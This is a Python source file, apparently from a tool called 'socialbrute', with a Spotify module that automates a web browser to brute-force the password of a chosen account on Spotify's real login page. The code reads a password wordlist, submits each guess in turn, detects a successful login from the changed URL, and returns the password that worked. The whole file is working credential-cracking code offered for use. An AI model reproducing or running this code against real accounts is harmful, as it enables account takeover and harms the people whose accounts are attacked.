Source code for socialbrute.modules.spotify
import time
[docs]class Spotify:
def __init__(self, browser):
self.browser = browser
[docs] def set_config(self, username, wordlist, delay):
self.username = username
self.name = ''
self.wordlist = wordlist
self.delay = delay
self.url = 'https://accounts.spotify.com/en/login'
[docs] def check_user(self):
return False
[docs] def crack(self):
passwords = []
found = ''
with open(self.wordlist, 'r') as f:
for line in f:
passwords.append(line.strip('\n'))
for password in passwords:
self.browser.driver.get(self.url)
email = self.browser.wait_until_element_exists('id', 'login-username')
email.clear()
email.send_keys(self.username)
pwd = self.browser.driver.find_element_by_id('login-password')
pwd.clear()
pwd.send_keys(password)
time.sleep(1)
btn = self.browser.driver.find_element_by_id('login-button')
btn.click()
self.browser.wait_page_loaded()
time.sleep(1)
url = self.browser.driver.current_url
if (url != self.url) and ('status' in url):
found = password
break
time.sleep(self.delay)
return found